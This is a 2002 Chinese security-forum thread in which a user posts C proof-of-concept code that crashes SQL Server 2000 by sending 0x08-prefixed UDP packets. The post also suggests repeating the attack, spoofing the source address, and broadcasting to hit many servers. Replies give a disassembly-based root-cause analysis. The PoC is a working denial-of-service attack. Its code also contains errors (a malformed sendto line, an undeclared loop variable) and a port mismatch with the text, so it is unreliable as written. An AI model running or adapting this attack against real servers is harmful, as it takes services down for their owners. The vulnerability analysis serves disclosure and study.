论坛: 编程破解 标题: 今天偶然发现的SQL SERVER的拒绝服务的问题 复制本贴地址    
作者: flashsky [flashsky]    论坛用户   登录
今天偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包会导致SQL SERVER当机:演示代码如下
参数:跟SQL SERVER服务器的IP或广播地址的IP
int main(int argc, char* argv[])
{
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    char buf[1024]={'\x08','\x00'};
    HANDLE listener;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        return FALSE;
    }

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        return FALSE;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
   
    if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
    {
        return FALSE;
    }
    if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
    {
        return FALSE;
    }
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
    {
        return FALSE;
    }

    for(j=0;j<256;j++)
  {
        buf[1]=j;
       sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
       Sleep(100);
}
  WSACleanup();
   return 0;
}

BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返回的SQL SERVER日志信息是:
2002-09-04 12:50:17.21 server    SqlDumpExceptionHandler: 进程 2020 发生了严重的异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。
2002-09-04 12:50:17.64 server    SQL Server 将终止。发生了严重的异常 c0000005。
如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。
但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。

测试环境:
     SQL SERVER 2000+SP2
     WINDOWS 2000 SERVER+SP3,ADV SERVER+SP3,professional+SP2



地主 发表时间: 09/04 14:19

回复: NetDemon [netdemon]   ADMIN   登录
很好啊,我给你发到主页上去了

B1层 发表时间: 09/04 16:23

回复: flashsky [flashsky]   论坛用户   登录
另外有人说这是SQL SERVER UDP溢出导致的,但是我发现这好象和溢出没关系,就是只发两字节,只要是08命令都会导致SQL 当掉,而其他的任何代码,包括大于08的,在我的测试环境下发送1024个字节也没问题。 

B2层 发表时间: 09/04 17:08

回复: NetDemon [netdemon]   ADMIN   登录
看看这个

  http://www.20cn.net/ns/ld/win/data/20020108025414.htm  

但C Runtime 的pacth已经包含在SP3中了,好像也说不过去

身边没有MSSQL,一时还真没发测试

[此贴被 NetDemon(netdemon) 在 9月4日19时49分 编辑过]

B3层 发表时间: 9/4 19:31

回复: cimsxiyang [cimsxiyang]   版主   登录
老大,隔壁那台机器上有mssql2000
你试一下


B4层 发表时间: 09/05 09:14

回复: flashsky [flashsky]   论坛用户   登录
昨天到安全焦点上和一个ISNO的高手做交流,他认为是以前的哪个sql server UDP溢出导致的异常问题,后来仔细研究了一下反汇编的代码,发现不是那么简单,下面是我反汇编时的一些分析:

.text:42CF9EE0 push ebp
.text:42CF9EE1 mov ebp, esp
.text:42CF9EE3 sub esp, 40Ch
.text:42CF9EE9 mov lpData, 0
.text:42CF9EF3 mov dword_42D01544, 0
.text:42CF9EFD mov eax, 
.text:42CF9F00 push eax ; lpData
.text:42CF9F01 call sub_42CFA2CE
//sub_42CFA2CE执行注册表查询获得当前SQL的一些信息

.text:42CF9F06 add esp, 4
.text:42CF9F09 mov dword_42D0154C, eax
.text:42CF9F0E call sub_42CFA406
//sub_42CFA406是建立一个新的套接字进行监听和绑定
.text:42CF9F13 cmp dword_42D011DC, 0
.text:42CF9F1A jnz short loc_42CF9F21
.text:42CF9F1C jmp loc_42CFA225
//建立成功则执行下面的loc_42CF9F21,不成功则跳到loc_42CFA225处退出线程

//建立成功以后用循环不断查询获得的端口数据
.text:42CFA003 push 400h
.text:42CFA008 push 0
.text:42CFA00A lea ecx, 
.text:42CFA010 push ecx
.text:42CFA011 call memset
.text:42CFA016 add esp, 0Ch
.text:42CFA019 lea edx, 
.text:42CFA01F push edx ; buf
.text:42CFA020 call sub_42CFA4FE
//sub_42CFA4FE开始用recvfrom获取数据
sub_42CFA4FE内容:
有数据到达时跳转到loc_42CFA56C处理
返回之后跳转到loc_42CFA0E0处理
在loc_42CFA02B处开始比较缓冲区取出的第一个字节的内容
.text:42CFA034 cmp , 9 //与9相比
.text:42CFA03B jg short loc_42CFA06B //大于9跳转loc_42CFA06B
.text:42CFA03D cmp , 9
.text:42CFA044 jz short loc_42CFA0BB //等于9跳转loc_42CFA0BB
//下面是小于9的处理
.text:42CFA046 mov ecx, 
.text:42CFA04C sub ecx, 2
.text:42CFA04F mov , ecx 
.text:42CFA055 cmp , 6 //检查第一个减去2之后是否大于6或小于0,实际上就是检查合法值是从2开始到8
.text:42CFA05C ja short loc_42CFA0DB
.text:42CFA05E mov edx, 
.text:42CFA064 jmp ds:off_42CFA23B //然后根据偏移值跳转,8命令则条为off_42CFA23B<4*6>的地方,也就是跳转到loc_42CFA0A5去执行
off_42CFA23B的值内容是 dd offset loc_42CFA082
.text:42CFA23F dd offset loc_42CFA082
.text:42CFA243 dd offset loc_42CFA091
.text:42CFA247 dd offset loc_42CFA0DB
.text:42CFA24B dd offset loc_42CFA0DB
.text:42CFA24F dd offset loc_42CFA0DB
.text:42CFA253 dd offset loc_42CFA0A5
loc_42CFA0A5处指令
.text:42CFA0A5 push 0
.text:42CFA0A7 lea ecx, 
.text:42CFA0AD push ecx
//从第二个字节开始的内容,调用sub_42CFA64E进行处理
.text:42CFA0AE call sub_42CFA64E

这儿开始是重点的分析
在sub_42CFA64E中会分配108H个字节的空间,然后使用strtok函数寻找传过来的字符串的":"作为分界符号 
.text:42CFA6A8 push offset asc_42D00838 ; ":"
.text:42CFA6AD mov edx, 
.text:42CFA6B0 push edx
.text:42CFA6B1 call ds:strtok
但是由于传过去的包没有":"字串,strtok返回应为NULL,但实际观察是eax还是为一个合法的指向BUF开始的指针,但是edx的内容却变为指向该缓冲后的地址。程序应该检查edx的内容以后
.text:42CFA6B7 add esp, 8
.text:42CFA6BA push eax
.text:42CFA6BB mov eax, 
.text:42CFA6BE push eax
.text:42CFA6BF call strcpy
将这个字符串拷贝到一个变量中去,变量长度是108H字节,可以发生溢出攻击,但是在我这个测试情况下是用了0x8,0x61,0x61这个三个字节,不构成发生溢出的条件。
.text:42CFA6C4 add esp, 8
.text:42CFA6C7 push offset unk_42D011EC
.text:42CFA6CC push 0
.text:42CFA6CE call ds:strtok
紧接着这个strtok就不清楚什么意思了,他传的unk_42D011EC变量是一个指向为0地址的缓冲,寻找0为分界符,因此返回回来的eax为0。处理失败。我怀疑是本来应该把strtok获得的第一次的字符串赋予这个变量而程序员忘记了这样做,于是使得unk_42D011EC成为一个指向0地址的指针。
.text:42CFA6D4 add esp, 8
.text:42CFA6D7 push eax
.text:42CFA6D8 call ds:atoi
但是其没有检查,然后根据这个结果,用atoi转化成数字,那么就是由此处引发的异常导致的SQL SERVER服务器的崩溃。
从上面可以看见,导致崩溃根本就不在于给SQL SERVER穿送了大长,大大,什么内容的数据,只要是0X8开始的,都会跳转到这个地方执行代码,导致atoi引发异常,而atoi参数来源于strtok(0,unk_42D011EC),而unk_42D011EC的值一直为空,且于处理buf无关,而不属于溢出导致的问题。


最后的结论是:
1。是异常导致,但是异常和溢出无关
2。测试中使用了BUF<5>={0x8,'1',':",'1',0}这样的数据,按照溢出导致逻辑至少处理的第一次strtok的时候不会发生异常,但实际是第一次就发生了,原因就是在于莫名的第二次strtok的调用,这个调用使用的参数不来源于任何其他的发送包的数据,而完全都是自己定义的一个东西,我估计是其逻辑是应该先把strtok获得的第一个分界的地址赋予unk_42D011EC变量再进行调用的,但是程序员忘记这样做了,导致从地址0上去strtok,获得返回为0,而不是他想象中的一个正常结果的数字,再调用atoi导致的异常。





B5层 发表时间: 09/05 14:33

回复: nightcolor [nightcolor]   版主   登录
闪空真是个内核高手  协议也不错  佩服佩服

B6层 发表时间: 09/05 19:46

回复: flashsky [flashsky]   论坛用户   登录
对strtok函数的理解存在一些错误,修改如下:

在strtok函数中,说明第二次调用的第一个参数为null时继续第一次的查找,但是需要第二个参数需要有东西,所以当我看见
unk_42D011EC为0;
进行strtok(NULL,unk_42D011EC);就觉得存在错误,但是实际测试当中却发现:这样调用也可以继续定位到第二个字串上,但是第三次调用就不行了(哪怕其中内容还有合法的内容存在),呵呵,所以这是一点错误。 

因此最后的结论是,如果传入的字符串不包含":"或":"后不存在其他的字符会引起问题,也就是说只有在此情况下,程序员没有做字符内容的参数检查。

B7层 发表时间: 09/06 17:42

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号